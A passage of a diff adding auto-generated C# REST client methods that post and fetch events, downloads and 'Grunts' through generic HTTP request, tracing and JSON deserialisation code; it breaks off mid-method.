_httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(anEvent != null) + { + _requestContent = SafeJsonConvert.SerializeObject(anEvent, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiEventsByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiEventsTimeGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsTimeGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events/time").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiEventsRangeByFromdateGetWithHttpMessagesAsync(long fromdate, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("fromdate", fromdate); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsRangeByFromdateGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events/range/{fromdate}").ToString(); + _url = _url.Replace("{fromdate}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(fromdate, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiEventsRangeByFromdateByTodateGetWithHttpMessagesAsync(long fromdate, long todate, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("fromdate", fromdate); + tracingParameters.Add("todate", todate); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsRangeByFromdateByTodateGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events/range/{fromdate}/{todate}").ToString(); + _url = _url.Replace("{fromdate}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(fromdate, SerializationSettings).Trim('"'))); + _url = _url.Replace("{todate}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(todate, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiEventsDownloadByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsDownloadByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events/download/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiEventsDownloadByIdContentGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsDownloadByIdContentGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events/download/{id}/content").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiEventsDownloadPostWithHttpMessagesAsync(DownloadEvent downloadEvent = default(DownloadEvent), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("downloadEvent", downloadEvent); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiEventsDownloadPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Events/download").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(downloadEvent != null) + { + _requestContent = SafeJsonConvert.SerializeObject(downloadEvent, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiGruntsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiGruntsGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Grunts").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if 